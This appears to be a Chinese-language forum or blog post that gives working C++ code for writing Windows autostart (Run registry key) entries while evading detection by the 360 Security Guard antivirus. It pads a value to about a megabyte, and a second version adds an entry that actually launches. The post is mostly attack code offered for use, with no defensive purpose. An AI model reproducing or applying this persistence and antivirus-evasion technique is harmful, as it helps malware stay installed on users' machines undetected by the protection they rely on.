绕过360安全卫士写自启动项

        360安全卫士是通过轮询比较当前自启动项与先前保存的自启动项的差别来检测自启动项的增加的,一段的方法绕过它可能不是那么容易。

下面贴段代码,可以绕过360安全卫士写自启动项。

源程序:

#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
HKEY hKey;
char *Path,*Path2="c:\\windows\\notepad.exe   --";
LONG ret;

ret=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
if(ret)
{
   printf("打开注册表项失败");
   return 0;
}

Path=new char[1024*1024];
memset(Path,'p',1024*1024);
memcpy(Path,Path2,strlen(Path2));

ret=RegSetValueEx(hKey,"TEST",0,REG_SZ,(BYTE *)Path,strlen(Path));
if(ret==0)
{
   printf("写入成功");
}
else
{
   printf("写入失败");
}

return 0;
}

有人说用上面的代码虽然过了360,但程序没自启动,我只想说我本来是提供一个思路的,算了,还是全爆吧,上帝原谅我....

int _tmain(int argc, _TCHAR* argv[])
{
HKEY hKey;
char *Path,*Path2="c:\\windows\\notepad.exe   --";
LONG ret;

ret=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
if(ret)
{
   printf("打开注册表项失败");
   return 0;
}

Path=new char[1024*1024];
memset(Path,'p',1024*1024);
memcpy(Path,Path2,strlen(Path2));

ret=RegSetValueEx(hKey,"TEST",0,REG_SZ,(BYTE *)Path,strlen(Path));
if(ret==0)
{
   printf("写入成功");
}
else
{
   printf("写入失败");
}

strcpy(Path,"c:\\windows\\system32\\calc.exe");
ret=RegSetValueEx(hKey,"TEST2",0,REG_SZ,(BYTE *)Path,strlen(Path));
if(ret==0)
{
   printf("写入成功");
}
else
{
   printf("写入失败");
}

return 0;
}